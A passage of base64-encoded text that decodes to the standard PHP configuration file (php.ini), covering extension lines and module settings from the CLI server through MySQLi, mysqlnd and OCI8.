uZHMgb24gaXQKO2V4dGVuc2lvbj1teXNxbGkKO2V4dGVuc2lvbj1vY2k4XzEyYyAgOyBVc2Ugd2l0aCBPcmFjbGUgRGF0YWJhc2UgMTJjIEluc3RhbnQgQ2xpZW50CjtleHRlbnNpb249b2RiYwo7ZXh0ZW5zaW9uPW9wZW5zc2wKO2V4dGVuc2lvbj1wZG9fZmlyZWJpcmQKO2V4dGVuc2lvbj1wZG9fbXlzcWwKO2V4dGVuc2lvbj1wZG9fb2NpCjtleHRlbnNpb249cGRvX29kYmMKO2V4dGVuc2lvbj1wZG9fcGdzcWwKO2V4dGVuc2lvbj1wZG9fc3FsaXRlCjtleHRlbnNpb249cGdzcWwKO2V4dGVuc2lvbj1zaG1vcAoKOyBUaGUgTUlCUyBkYXRhIGF2YWlsYWJsZSBpbiB0aGUgUEhQIGRpc3RyaWJ1dGlvbiBtdXN0IGJlIGluc3RhbGxlZC4KOyBTZWUgaHR0cDovL3d3dy5waHAubmV0L21hbnVhbC9lbi9zbm1wLmluc3RhbGxhdGlvbi5waHAKO2V4dGVuc2lvbj1zbm1wCgo7ZXh0ZW5zaW9uPXNvYXAKO2V4dGVuc2lvbj1zb2NrZXRzCjtleHRlbnNpb249c29kaXVtCjtleHRlbnNpb249c3FsaXRlMwo7ZXh0ZW5zaW9uPXRpZHkKO2V4dGVuc2lvbj14bWxycGMKO2V4dGVuc2lvbj14c2wKCjs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsKOyBNb2R1bGUgU2V0dGluZ3MgOwo7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7CgpbQ0xJIFNlcnZlcl0KOyBXaGV0aGVyIHRoZSBDTEkgd2ViIHNlcnZlciB1c2VzIEFOU0kgY29sb3IgY29kaW5nIGluIGl0cyB0ZXJtaW5hbCBvdXRwdXQuCmNsaV9zZXJ2ZXIuY29sb3IgPSBPbgoKW0RhdGVdCjsgRGVmaW5lcyB0aGUgZGVmYXVsdCB0aW1lem9uZSB1c2VkIGJ5IHRoZSBkYXRlIGZ1bmN0aW9ucwo7IGh0dHA6Ly9waHAubmV0L2RhdGUudGltZXpvbmUKO2RhdGUudGltZXpvbmUgPQoKOyBodHRwOi8vcGhwLm5ldC9kYXRlLmRlZmF1bHQtbGF0aXR1ZGUKO2RhdGUuZGVmYXVsdF9sYXRpdHVkZSA9IDMxLjc2NjcKCjsgaHR0cDovL3BocC5uZXQvZGF0ZS5kZWZhdWx0LWxvbmdpdHVkZQo7ZGF0ZS5kZWZhdWx0X2xvbmdpdHVkZSA9IDM1LjIzMzMKCjsgaHR0cDovL3BocC5uZXQvZGF0ZS5zdW5yaXNlLXplbml0aAo7ZGF0ZS5zdW5yaXNlX3plbml0aCA9IDkwLjU4MzMzMwoKOyBodHRwOi8vcGhwLm5ldC9kYXRlLnN1bnNldC16ZW5pdGgKO2RhdGUuc3Vuc2V0X3plbml0aCA9IDkwLjU4MzMzMwoKW2ZpbHRlcl0KOyBodHRwOi8vcGhwLm5ldC9maWx0ZXIuZGVmYXVsdAo7ZmlsdGVyLmRlZmF1bHQgPSB1bnNhZmVfcmF3Cgo7IGh0dHA6Ly9waHAubmV0L2ZpbHRlci5kZWZhdWx0LWZsYWdzCjtmaWx0ZXIuZGVmYXVsdF9mbGFncyA9CgpbaWNvbnZdCjsgVXNlIG9mIHRoaXMgSU5JIGVudHJ5IGlzIGRlcHJlY2F0ZWQsIHVzZSBnbG9iYWwgaW5wdXRfZW5jb2RpbmcgaW5zdGVhZC4KOyBJZiBlbXB0eSwgZGVmYXVsdF9jaGFyc2V0IG9yIGlucHV0X2VuY29kaW5nIG9yIGljb252LmlucHV0X2VuY29kaW5nIGlzIHVzZWQuCjsgVGhlIHByZWNlZGVuY2UgaXM6IGRlZmF1bHRfY2hhcnNldCAmbHQ7IGlucHV0X2VuY29kaW5nICZsdDsgaWNvbnYuaW5wdXRfZW5jb2RpbmcKO2ljb252LmlucHV0X2VuY29kaW5nID0KCjsgVXNlIG9mIHRoaXMgSU5JIGVudHJ5IGlzIGRlcHJlY2F0ZWQsIHVzZSBnbG9iYWwgaW50ZXJuYWxfZW5jb2RpbmcgaW5zdGVhZC4KOyBJZiBlbXB0eSwgZGVmYXVsdF9jaGFyc2V0IG9yIGludGVybmFsX2VuY29kaW5nIG9yIGljb252LmludGVybmFsX2VuY29kaW5nIGlzIHVzZWQuCjsgVGhlIHByZWNlZGVuY2UgaXM6IGRlZmF1bHRfY2hhcnNldCAmbHQ7IGludGVybmFsX2VuY29kaW5nICZsdDsgaWNvbnYuaW50ZXJuYWxfZW5jb2RpbmcKO2ljb252LmludGVybmFsX2VuY29kaW5nID0KCjsgVXNlIG9mIHRoaXMgSU5JIGVudHJ5IGlzIGRlcHJlY2F0ZWQsIHVzZSBnbG9iYWwgb3V0cHV0X2VuY29kaW5nIGluc3RlYWQuCjsgSWYgZW1wdHksIGRlZmF1bHRfY2hhcnNldCBvciBvdXRwdXRfZW5jb2Rpbmcgb3IgaWNvbnYub3V0cHV0X2VuY29kaW5nIGlzIHVzZWQuCjsgVGhlIHByZWNlZGVuY2UgaXM6IGRlZmF1bHRfY2hhcnNldCAmbHQ7IG91dHB1dF9lbmNvZGluZyAmbHQ7IGljb252Lm91dHB1dF9lbmNvZGluZwo7IFRvIHVzZSBhbiBvdXRwdXQgZW5jb2RpbmcgY29udmVyc2lvbiwgaWNvbnYmYXBvcztzIG91dHB1dCBoYW5kbGVyIG11c3QgYmUgc2V0Cjsgb3RoZXJ3aXNlIG91dHB1dCBlbmNvZGluZyBjb252ZXJzaW9uIGNhbm5vdCBiZSBwZXJmb3JtZWQuCjtpY29udi5vdXRwdXRfZW5jb2RpbmcgPQoKW2ltYXBdCjsgcnNoL3NzaCBsb2dpbnMgYXJlIGRpc2FibGVkIGJ5IGRlZmF1bHQuIFVzZSB0aGlzIElOSSBlbnRyeSBpZiB5b3Ugd2FudCB0bwo7IGVuYWJsZSB0aGVtLiBOb3RlIHRoYXQgdGhlIElNQVAgbGlicmFyeSBkb2VzIG5vdCBmaWx0ZXIgbWFpbGJveCBuYW1lcyBiZWZvcmUKOyBwYXNzaW5nIHRoZW0gdG8gcnNoL3NzaCBjb21tYW5kLCB0aHVzIHBhc3NpbmcgdW50cnVzdGVkIGRhdGEgdG8gdGhpcyBmdW5jdGlvbgo7IHdpdGggcnNoL3NzaCBlbmFibGVkIGlzIGluc2VjdXJlLgo7aW1hcC5lbmFibGVfaW5zZWN1cmVfcnNoPTAKCltpbnRsXQo7aW50bC5kZWZhdWx0X2xvY2FsZSA9CjsgVGhpcyBkaXJlY3RpdmUgYWxsb3dzIHlvdSB0byBwcm9kdWNlIFBIUCBlcnJvcnMgd2hlbiBzb21lIGVycm9yCjsgaGFwcGVucyB3aXRoaW4gaW50bCBmdW5jdGlvbnMuIFRoZSB2YWx1ZSBpcyB0aGUgbGV2ZWwgb2YgdGhlIGVycm9yIHByb2R1Y2VkLgo7IERlZmF1bHQgaXMgMCwgd2hpY2ggZG9lcyBub3QgcHJvZHVjZSBhbnkgZXJyb3JzLgo7aW50bC5lcnJvcl9sZXZlbCA9IEVfV0FSTklORwo7aW50bC51c2VfZXhjZXB0aW9ucyA9IDAKCltzcWxpdGUzXQo7IERpcmVjdG9yeSBwb2ludGluZyB0byBTUUxpdGUzIGV4dGVuc2lvbnMKOyBodHRwOi8vcGhwLm5ldC9zcWxpdGUzLmV4dGVuc2lvbi1kaXIKO3NxbGl0ZTMuZXh0ZW5zaW9uX2RpciA9Cgo7IFNRTGl0ZSBkZWZlbnNpdmUgbW9kZSBmbGFnIChvbmx5IGF2YWlsYWJsZSBmcm9tIFNRTGl0ZSAzLjI2KykKOyBXaGVuIHRoZSBkZWZlbnNpdmUgZmxhZyBpcyBlbmFibGVkLCBsYW5ndWFnZSBmZWF0dXJlcyB0aGF0IGFsbG93IG9yZGluYXJ5CjsgU1FMIHRvIGRlbGliZXJhdGVseSBjb3JydXB0IHRoZSBkYXRhYmFzZSBmaWxlIGFyZSBkaXNhYmxlZC4gVGhpcyBmb3JiaWRzCjsgd3JpdGluZyBkaXJlY3RseSB0byB0aGUgc2NoZW1hLCBzaGFkb3cgdGFibGVzIChlZy4gRlRTIGRhdGEgdGFibGVzKSwgb3IKOyB0aGUgc3FsaXRlX2RicGFnZSB2aXJ0dWFsIHRhYmxlLgo7IGh0dHBzOi8vd3d3LnNxbGl0ZS5vcmcvYzNyZWYvY19kYmNvbmZpZ19kZWZlbnNpdmUuaHRtbAo7IChmb3Igb2xkZXIgU1FMaXRlIHZlcnNpb25zLCB0aGlzIGZsYWcgaGFzIG5vIHVzZSkKO3NxbGl0ZTMuZGVmZW5zaXZlID0gMQoKW1BjcmVdCjsgUENSRSBsaWJyYXJ5IGJhY2t0cmFja2luZyBsaW1pdC4KOyBodHRwOi8vcGhwLm5ldC9wY3JlLmJhY2t0cmFjay1saW1pdAo7cGNyZS5iYWNrdHJhY2tfbGltaXQ9MTAwMDAwCgo7IFBDUkUgbGlicmFyeSByZWN1cnNpb24gbGltaXQuCjsgUGxlYXNlIG5vdGUgdGhhdCBpZiB5b3Ugc2V0IHRoaXMgdmFsdWUgdG8gYSBoaWdoIG51bWJlciB5b3UgbWF5IGNvbnN1bWUgYWxsCjsgdGhlIGF2YWlsYWJsZSBwcm9jZXNzIHN0YWNrIGFuZCBldmVudHVhbGx5IGNyYXNoIFBIUCAoZHVlIHRvIHJlYWNoaW5nIHRoZQo7IHN0YWNrIHNpemUgbGltaXQgaW1wb3NlZCBieSB0aGUgT3BlcmF0aW5nIFN5c3RlbSkuCjsgaHR0cDovL3BocC5uZXQvcGNyZS5yZWN1cnNpb24tbGltaXQKO3BjcmUucmVjdXJzaW9uX2xpbWl0PTEwMDAwMAoKOyBFbmFibGVzIG9yIGRpc2FibGVzIEpJVCBjb21waWxhdGlvbiBvZiBwYXR0ZXJucy4gVGhpcyByZXF1aXJlcyB0aGUgUENSRQo7IGxpYnJhcnkgdG8gYmUgY29tcGlsZWQgd2l0aCBKSVQgc3VwcG9ydC4KO3BjcmUuaml0PTEKCltQZG9dCjsgV2hldGhlciB0byBwb29sIE9EQkMgY29ubmVjdGlvbnMuIENhbiBiZSBvbmUgb2YgJnF1b3Q7c3RyaWN0JnF1b3Q7LCAmcXVvdDtyZWxheGVkJnF1b3Q7IG9yICZxdW90O29mZiZxdW90Owo7IGh0dHA6Ly9waHAubmV0L3Bkby1vZGJjLmNvbm5lY3Rpb24tcG9vbGluZwo7cGRvX29kYmMuY29ubmVjdGlvbl9wb29saW5nPXN0cmljdAoKO3Bkb19vZGJjLmRiMl9pbnN0YW5jZV9uYW1lCgpbUGRvX215c3FsXQo7IERlZmF1bHQgc29ja2V0IG5hbWUgZm9yIGxvY2FsIE15U1FMIGNvbm5lY3RzLiAgSWYgZW1wdHksIHVzZXMgdGhlIGJ1aWx0LWluCjsgTXlTUUwgZGVmYXVsdHMuCnBkb19teXNxbC5kZWZhdWx0X3NvY2tldD0KCltQaGFyXQo7IGh0dHA6Ly9waHAubmV0L3BoYXIucmVhZG9ubHkKO3BoYXIucmVhZG9ubHkgPSBPbgoKOyBodHRwOi8vcGhwLm5ldC9waGFyLnJlcXVpcmUtaGFzaAo7cGhhci5yZXF1aXJlX2hhc2ggPSBPbgoKO3BoYXIuY2FjaGVfbGlzdCA9CgpbbWFpbCBmdW5jdGlvbl0KOyBGb3IgV2luMzIgb25seS4KOyBodHRwOi8vcGhwLm5ldC9zbXRwClNNVFAgPSBsb2NhbGhvc3QKOyBodHRwOi8vcGhwLm5ldC9zbXRwLXBvcnQKc210cF9wb3J0ID0gMjUKCjsgRm9yIFdpbjMyIG9ubHkuCjsgaHR0cDovL3BocC5uZXQvc2VuZG1haWwtZnJvbQo7c2VuZG1haWxfZnJvbSA9IG1lQGV4YW1wbGUuY29tCgo7IEZvciBVbml4IG9ubHkuICBZb3UgbWF5IHN1cHBseSBhcmd1bWVudHMgYXMgd2VsbCAoZGVmYXVsdDogJnF1b3Q7c2VuZG1haWwgLXQgLWkmcXVvdDspLgo7IGh0dHA6Ly9waHAubmV0L3NlbmRtYWlsLXBhdGgKO3NlbmRtYWlsX3BhdGggPQoKOyBGb3JjZSB0aGUgYWRkaXRpb24gb2YgdGhlIHNwZWNpZmllZCBwYXJhbWV0ZXJzIHRvIGJlIHBhc3NlZCBhcyBleHRyYSBwYXJhbWV0ZXJzCjsgdG8gdGhlIHNlbmRtYWlsIGJpbmFyeS4gVGhlc2UgcGFyYW1ldGVycyB3aWxsIGFsd2F5cyByZXBsYWNlIHRoZSB2YWx1ZSBvZgo7IHRoZSA1dGggcGFyYW1ldGVyIHRvIG1haWwoKS4KO21haWwuZm9yY2VfZXh0cmFfcGFyYW1ldGVycyA9Cgo7IEFkZCBYLVBIUC1PcmlnaW5hdGluZy1TY3JpcHQ6IHRoYXQgd2lsbCBpbmNsdWRlIHVpZCBvZiB0aGUgc2NyaXB0IGZvbGxvd2VkIGJ5IHRoZSBmaWxlbmFtZQptYWlsLmFkZF94X2hlYWRlciA9IE9mZgoKOyBUaGUgcGF0aCB0byBhIGxvZyBmaWxlIHRoYXQgd2lsbCBsb2cgYWxsIG1haWwoKSBjYWxscy4gTG9nIGVudHJpZXMgaW5jbHVkZQo7IHRoZSBmdWxsIHBhdGggb2YgdGhlIHNjcmlwdCwgbGluZSBudW1iZXIsIFRvIGFkZHJlc3MgYW5kIGhlYWRlcnMuCjttYWlsLmxvZyA9CjsgTG9nIG1haWwgdG8gc3lzbG9nIChFdmVudCBMb2cgb24gV2luZG93cykuCjttYWlsLmxvZyA9IHN5c2xvZwoKW09EQkNdCjsgaHR0cDovL3BocC5uZXQvb2RiYy5kZWZhdWx0LWRiCjtvZGJjLmRlZmF1bHRfZGIgICAgPSAgTm90IHlldCBpbXBsZW1lbnRlZAoKOyBodHRwOi8vcGhwLm5ldC9vZGJjLmRlZmF1bHQtdXNlcgo7b2RiYy5kZWZhdWx0X3VzZXIgID0gIE5vdCB5ZXQgaW1wbGVtZW50ZWQKCjsgaHR0cDovL3BocC5uZXQvb2RiYy5kZWZhdWx0LXB3CjtvZGJjLmRlZmF1bHRfcHcgICAgPSAgTm90IHlldCBpbXBsZW1lbnRlZAoKOyBDb250cm9scyB0aGUgT0RCQyBjdXJzb3IgbW9kZWwuCjsgRGVmYXVsdDogU1FMX0NVUlNPUl9TVEFUSUMgKGRlZmF1bHQpLgo7b2RiYy5kZWZhdWx0X2N1cnNvcnR5cGUKCjsgQWxsb3cgb3IgcHJldmVudCBwZXJzaXN0ZW50IGxpbmtzLgo7IGh0dHA6Ly9waHAubmV0L29kYmMuYWxsb3ctcGVyc2lzdGVudApvZGJjLmFsbG93X3BlcnNpc3RlbnQgPSBPbgoKOyBDaGVjayB0aGF0IGEgY29ubmVjdGlvbiBpcyBzdGlsbCB2YWxpZCBiZWZvcmUgcmV1c2UuCjsgaHR0cDovL3BocC5uZXQvb2RiYy5jaGVjay1wZXJzaXN0ZW50Cm9kYmMuY2hlY2tfcGVyc2lzdGVudCA9IE9uCgo7IE1heGltdW0gbnVtYmVyIG9mIHBlcnNpc3RlbnQgbGlua3MuICAtMSBtZWFucyBubyBsaW1pdC4KOyBodHRwOi8vcGhwLm5ldC9vZGJjLm1heC1wZXJzaXN0ZW50Cm9kYmMubWF4X3BlcnNpc3RlbnQgPSAtMQoKOyBNYXhpbXVtIG51bWJlciBvZiBsaW5rcyAocGVyc2lzdGVudCArIG5vbi1wZXJzaXN0ZW50KS4gIC0xIG1lYW5zIG5vIGxpbWl0Lgo7IGh0dHA6Ly9waHAubmV0L29kYmMubWF4LWxpbmtzCm9kYmMubWF4X2xpbmtzID0gLTEKCjsgSGFuZGxpbmcgb2YgTE9ORyBmaWVsZHMuICBSZXR1cm5zIG51bWJlciBvZiBieXRlcyB0byB2YXJpYWJsZXMuICAwIG1lYW5zCjsgcGFzc3RocnUuCjsgaHR0cDovL3BocC5uZXQvb2RiYy5kZWZhdWx0bHJsCm9kYmMuZGVmYXVsdGxybCA9IDQwOTYKCjsgSGFuZGxpbmcgb2YgYmluYXJ5IGRhdGEuICAwIG1lYW5zIHBhc3N0aHJ1LCAxIHJldHVybiBhcyBpcywgMiBjb252ZXJ0IHRvIGNoYXIuCjsgU2VlIHRoZSBkb2N1bWVudGF0aW9uIG9uIG9kYmNfYmlubW9kZSBhbmQgb2RiY19sb25ncmVhZGxlbiBmb3IgYW4gZXhwbGFuYXRpb24KOyBvZiBvZGJjLmRlZmF1bHRscmwgYW5kIG9kYmMuZGVmYXVsdGJpbm1vZGUKOyBodHRwOi8vcGhwLm5ldC9vZGJjLmRlZmF1bHRiaW5tb2RlCm9kYmMuZGVmYXVsdGJpbm1vZGUgPSAxCgpbSW50ZXJiYXNlXQo7IEFsbG93IG9yIHByZXZlbnQgcGVyc2lzdGVudCBsaW5rcy4KaWJhc2UuYWxsb3dfcGVyc2lzdGVudCA9IDEKCjsgTWF4aW11bSBudW1iZXIgb2YgcGVyc2lzdGVudCBsaW5rcy4gIC0xIG1lYW5zIG5vIGxpbWl0LgppYmFzZS5tYXhfcGVyc2lzdGVudCA9IC0xCgo7IE1heGltdW0gbnVtYmVyIG9mIGxpbmtzIChwZXJzaXN0ZW50ICsgbm9uLXBlcnNpc3RlbnQpLiAgLTEgbWVhbnMgbm8gbGltaXQuCmliYXNlLm1heF9saW5rcyA9IC0xCgo7IERlZmF1bHQgZGF0YWJhc2UgbmFtZSBmb3IgaWJhc2VfY29ubmVjdCgpLgo7aWJhc2UuZGVmYXVsdF9kYiA9Cgo7IERlZmF1bHQgdXNlcm5hbWUgZm9yIGliYXNlX2Nvbm5lY3QoKS4KO2liYXNlLmRlZmF1bHRfdXNlciA9Cgo7IERlZmF1bHQgcGFzc3dvcmQgZm9yIGliYXNlX2Nvbm5lY3QoKS4KO2liYXNlLmRlZmF1bHRfcGFzc3dvcmQgPQoKOyBEZWZhdWx0IGNoYXJzZXQgZm9yIGliYXNlX2Nvbm5lY3QoKS4KO2liYXNlLmRlZmF1bHRfY2hhcnNldCA9Cgo7IERlZmF1bHQgdGltZXN0YW1wIGZvcm1hdC4KaWJhc2UudGltZXN0YW1wZm9ybWF0ID0gJnF1b3Q7JVktJW0tJWQgJUg6JU06JVMmcXVvdDsKCjsgRGVmYXVsdCBkYXRlIGZvcm1hdC4KaWJhc2UuZGF0ZWZvcm1hdCA9ICZxdW90OyVZLSVtLSVkJnF1b3Q7Cgo7IERlZmF1bHQgdGltZSBmb3JtYXQuCmliYXNlLnRpbWVmb3JtYXQgPSAmcXVvdDslSDolTTolUyZxdW90OwoKW015U1FMaV0KCjsgTWF4aW11bSBudW1iZXIgb2YgcGVyc2lzdGVudCBsaW5rcy4gIC0xIG1lYW5zIG5vIGxpbWl0Lgo7IGh0dHA6Ly9waHAubmV0L215c3FsaS5tYXgtcGVyc2lzdGVudApteXNxbGkubWF4X3BlcnNpc3RlbnQgPSAtMQoKOyBBbGxvdyBhY2Nlc3NpbmcsIGZyb20gUEhQJmFwb3M7cyBwZXJzcGVjdGl2ZSwgbG9jYWwgZmlsZXMgd2l0aCBMT0FEIERBVEEgc3RhdGVtZW50cwo7IGh0dHA6Ly9waHAubmV0L215c3FsaS5hbGxvd19sb2NhbF9pbmZpbGUKbXlzcWxpLmFsbG93X2xvY2FsX2luZmlsZSA9IE9uCgo7IEFsbG93IG9yIHByZXZlbnQgcGVyc2lzdGVudCBsaW5rcy4KOyBodHRwOi8vcGhwLm5ldC9teXNxbGkuYWxsb3ctcGVyc2lzdGVudApteXNxbGkuYWxsb3dfcGVyc2lzdGVudCA9IE9uCgo7IE1heGltdW0gbnVtYmVyIG9mIGxpbmtzLiAgLTEgbWVhbnMgbm8gbGltaXQuCjsgaHR0cDovL3BocC5uZXQvbXlzcWxpLm1heC1saW5rcwpteXNxbGkubWF4X2xpbmtzID0gLTEKCjsgRGVmYXVsdCBwb3J0IG51bWJlciBmb3IgbXlzcWxpX2Nvbm5lY3QoKS4gIElmIHVuc2V0LCBteXNxbGlfY29ubmVjdCgpIHdpbGwgdXNlCjsgdGhlICRNWVNRTF9UQ1BfUE9SVCBvciB0aGUgbXlzcWwtdGNwIGVudHJ5IGluIC9ldGMvc2VydmljZXMgb3IgdGhlCjsgY29tcGlsZS10aW1lIHZhbHVlIGRlZmluZWQgTVlTUUxfUE9SVCAoaW4gdGhhdCBvcmRlcikuICBXaW4zMiB3aWxsIG9ubHkgbG9vawo7IGF0IE1ZU1FMX1BPUlQuCjsgaHR0cDovL3BocC5uZXQvbXlzcWxpLmRlZmF1bHQtcG9ydApteXNxbGkuZGVmYXVsdF9wb3J0ID0gMzMwNgoKOyBEZWZhdWx0IHNvY2tldCBuYW1lIGZvciBsb2NhbCBNeVNRTCBjb25uZWN0cy4gIElmIGVtcHR5LCB1c2VzIHRoZSBidWlsdC1pbgo7IE15U1FMIGRlZmF1bHRzLgo7IGh0dHA6Ly9waHAubmV0L215c3FsaS5kZWZhdWx0LXNvY2tldApteXNxbGkuZGVmYXVsdF9zb2NrZXQgPQoKOyBEZWZhdWx0IGhvc3QgZm9yIG15c3FsX2Nvbm5lY3QoKSAoZG9lc24mYXBvczt0IGFwcGx5IGluIHNhZmUgbW9kZSkuCjsgaHR0cDovL3BocC5uZXQvbXlzcWxpLmRlZmF1bHQtaG9zdApteXNxbGkuZGVmYXVsdF9ob3N0ID0KCjsgRGVmYXVsdCB1c2VyIGZvciBteXNxbF9jb25uZWN0KCkgKGRvZXNuJmFwb3M7dCBhcHBseSBpbiBzYWZlIG1vZGUpLgo7IGh0dHA6Ly9waHAubmV0L215c3FsaS5kZWZhdWx0LXVzZXIKbXlzcWxpLmRlZmF1bHRfdXNlciA9Cgo7IERlZmF1bHQgcGFzc3dvcmQgZm9yIG15c3FsaV9jb25uZWN0KCkgKGRvZXNuJmFwb3M7dCBhcHBseSBpbiBzYWZlIG1vZGUpLgo7IE5vdGUgdGhhdCB0aGlzIGlzIGdlbmVyYWxseSBhICpiYWQqIGlkZWEgdG8gc3RvcmUgcGFzc3dvcmRzIGluIHRoaXMgZmlsZS4KOyAqQW55KiB1c2VyIHdpdGggUEhQIGFjY2VzcyBjYW4gcnVuICZhcG9zO2VjaG8gZ2V0X2NmZ192YXIoJnF1b3Q7bXlzcWxpLmRlZmF1bHRfcHcmcXVvdDspCjsgYW5kIHJldmVhbCB0aGlzIHBhc3N3b3JkISAgQW5kIG9mIGNvdXJzZSwgYW55IHVzZXJzIHdpdGggcmVhZCBhY2Nlc3MgdG8gdGhpcwo7IGZpbGUgd2lsbCBiZSBhYmxlIHRvIHJldmVhbCB0aGUgcGFzc3dvcmQgYXMgd2VsbC4KOyBodHRwOi8vcGhwLm5ldC9teXNxbGkuZGVmYXVsdC1wdwpteXNxbGkuZGVmYXVsdF9wdyA9Cgo7IEFsbG93IG9yIHByZXZlbnQgcmVjb25uZWN0Cm15c3FsaS5yZWNvbm5lY3QgPSBPZmYKCltteXNxbG5kXQo7IEVuYWJsZSAvIERpc2FibGUgY29sbGVjdGlvbiBvZiBnZW5lcmFsIHN0YXRpc3RpY3MgYnkgbXlzcWxuZCB3aGljaCBjYW4gYmUKOyB1c2VkIHRvIHR1bmUgYW5kIG1vbml0b3IgTXlTUUwgb3BlcmF0aW9ucy4KbXlzcWxuZC5jb2xsZWN0X3N0YXRpc3RpY3MgPSBPbgoKOyBFbmFibGUgLyBEaXNhYmxlIGNvbGxlY3Rpb24gb2YgbWVtb3J5IHVzYWdlIHN0YXRpc3RpY3MgYnkgbXlzcWxuZCB3aGljaCBjYW4gYmUKOyB1c2VkIHRvIHR1bmUgYW5kIG1vbml0b3IgTXlTUUwgb3BlcmF0aW9ucy4KbXlzcWxuZC5jb2xsZWN0X21lbW9yeV9zdGF0aXN0aWNzID0gT24KCjsgUmVjb3JkcyBjb21tdW5pY2F0aW9uIGZyb20gYWxsIGV4dGVuc2lvbnMgdXNpbmcgbXlzcWxuZCB0byB0aGUgc3BlY2lmaWVkIGxvZwo7IGZpbGUuCjsgaHR0cDovL3BocC5uZXQvbXlzcWxuZC5kZWJ1Zwo7bXlzcWxuZC5kZWJ1ZyA9Cgo7IERlZmluZXMgd2hpY2ggcXVlcmllcyB3aWxsIGJlIGxvZ2dlZC4KO215c3FsbmQubG9nX21hc2sgPSAwCgo7IERlZmF1bHQgc2l6ZSBvZiB0aGUgbXlzcWxuZCBtZW1vcnkgcG9vbCwgd2hpY2ggaXMgdXNlZCBieSByZXN1bHQgc2V0cy4KO215c3FsbmQubWVtcG9vbF9kZWZhdWx0X3NpemUgPSAxNjAwMAoKOyBTaXplIG9mIGEgcHJlLWFsbG9jYXRlZCBidWZmZXIgdXNlZCB3aGVuIHNlbmRpbmcgY29tbWFuZHMgdG8gTXlTUUwgaW4gYnl0ZXMuCjtteXNxbG5kLm5ldF9jbWRfYnVmZmVyX3NpemUgPSAyMDQ4Cgo7IFNpemUgb2YgYSBwcmUtYWxsb2NhdGVkIGJ1ZmZlciB1c2VkIGZvciByZWFkaW5nIGRhdGEgc2VudCBieSB0aGUgc2VydmVyIGluCjsgYnl0ZXMuCjtteXNxbG5kLm5ldF9yZWFkX2J1ZmZlcl9zaXplID0gMzI3NjgKCjsgVGltZW91dCBmb3IgbmV0d29yayByZXF1ZXN0cyBpbiBzZWNvbmRzLgo7bXlzcWxuZC5uZXRfcmVhZF90aW1lb3V0ID0gMzE1MzYwMDAKCjsgU0hBLTI1NiBBdXRoZW50aWNhdGlvbiBQbHVnaW4gcmVsYXRlZC4gRmlsZSB3aXRoIHRoZSBNeVNRTCBzZXJ2ZXIgcHVibGljIFJTQQo7IGtleS4KO215c3FsbmQuc2hhMjU2X3NlcnZlcl9wdWJsaWNfa2V5ID0KCltPQ0k4XQoKOyBDb25uZWN0aW9uOiBFbmFibGVzIHByaXZpbGVnZWQgY29ubmVjdGlvbnMgdXNpbmcgZXh0ZXJuYWwKOyBjcmVkZW50aWFscyAoT0NJX1NZU09QRVIsIE9DSV9TWVNEQkEpCjsgaHR0cDovL3BocC5uZXQvb2NpOC5wcml2aWxlZ2VkLWNvbm5lY3QKO29jaTgucHJpdmlsZWdlZF9jb25uZWN0ID0gT2ZmCgo7IENvbm5lY3Rpb246IFRoZSBtYXhpbXVtIG51bWJlciBvZiBwZXJzaXN0ZW50IE9DSTggY29ubmVjdGlvbnMgcGVyCjsgcHJvY2Vzcy4gVXNpbmcgLTEgbWVhbnMgbm8gbGltaXQuCjsgaHR0cDovL3BocC5uZXQvb2NpOC5tYXgtcGVyc2lzdGVudAo7b2NpOC5tYXhfcGVyc2lzdGVudCA9IC0xCgo7IENvbm5lY3Rpb246IFRoZSBtYXhpbXVtIG51bWJlciBvZiBzZWNvbmRzIGEgcHJvY2VzcyBpcyBhbGxvd2VkIHRvCjsgbWFpbnRhaW4gYW4gaWRsZSBwZXJzaXN0ZW50IGNvbm5lY3Rpb24uIFVzaW5nIC0xIG1lYW5zIGlkbGUKOyBwZXJzaXN0ZW50IGNvbm5lY3Rpb25zIHdpbGwgYmUgbWFpbnRhaW5lZCBmb3JldmVyLgo7IGh0dHA6Ly9waHAubmV0L29jaTgucGVyc2lzdGVudC10aW1lb3V0CjtvY2k4LnBlcnNpc3RlbnRfdGltZW91dCA9IC0xCgo7IENvbm5lY3Rpb246IFRoZSBudW1iZXIgb2Ygc2Vjb25kcyB0aGF0IG11c3QgcGFzcyBiZWZvcmUgaXNzdWluZyBhCjsgcGluZyBkdXJpbmcgb2NpX3Bjb25uZWN0KCkgdG8gY2hlY2sgdGhlIGNvbm5lY3Rpb24gdmFsaWRpdHkuIFdoZW4KOyBzZXQgdG8gMCwgZWFjaCBvY2lfcGNvbm5lY3QoKSB3aWxsIGNhdXNlIGEgcGluZy4gVXNpbmcgLTEgZGlzYWJsZXMKOyBwaW5ncyBjb21wbGV0ZWx5Lgo7IGh0dHA6Ly9waHAubmV0L29jaTgucGluZy1pbnRlcnZhbAo7b2NpOC5waW5nX2ludGVydmFsID0gNjAKCjsgQ29ubmVjdGlvbjogU2V0IHRoaXMgdG8gYSB1c2VyIGNob3NlbiBjb25uZWN0aW9uIGNsYXNzIHRvIGJlIHVzZWQKOyBmb3IgYWxsIHBvb2xlZCBzZXJ2ZXIgcmVxdWVzdHMgd2l0aCBPcmFjbGUgMTFnIERhdGFiYXNlIFJlc2lkZW50CjsgQ29ubmVjdGlvbiBQb29saW5nIChEUkNQKS4gIFRvIHVzZSBEUkNQLCB0aGlzIHZhbHVlIHNob3VsZCBiZSBzZXQgdG8KOyB0aGUgc2FtZSBzdHJpbmcgZm9yIGFsbCB3ZWIgc2VydmVycyBydW5uaW5nIHRoZSBzYW1lIGFwcGxpY2F0aW9uLAo7IHRoZSBkYXRhYmFzZSBwb29sIG11c3QgYmUgY29uZmlndXJlZCwgYW5kIHRoZSBjb25uZWN0aW9uIHN0cmluZyBtdXN0Cjsgc3BlY2lmeSB0byB1c2UgYSBwb29sZWQgc2VydmVyLgo7b2NpOC5jb25uZWN0aW9uX2NsYXNzID0KCjsgSGlnaCBBdmFpbGFiaWxpdHk6IFVzaW5nIE9uIGxldHMgUEhQIHJlY2VpdmUgRmFzdCBBcHBsaWNhdGlvbgo7IE5vdGlmaWNhdGlvbiAoRkFOKSBldmVudHMgZ2VuZXJhdGVkIHdoZW4gYSBkYXRhYmFzZSBub2RlIGZhaWxzLiBUaGUKOyBkYXRhYmFzZSBtdXN0IGFsc28gYmUgY29uZmlndXJlZCB0byBwb3N0IEZBTiBldmVudHMuCjtvY2k4LmV2ZW50cyA9IE9mZgoKOyBUdW5pbmc6IFRoaXMgb3B0aW9uIGVuYWJsZXMgc3RhdGVtZW50IGNhY2hpbmcsIG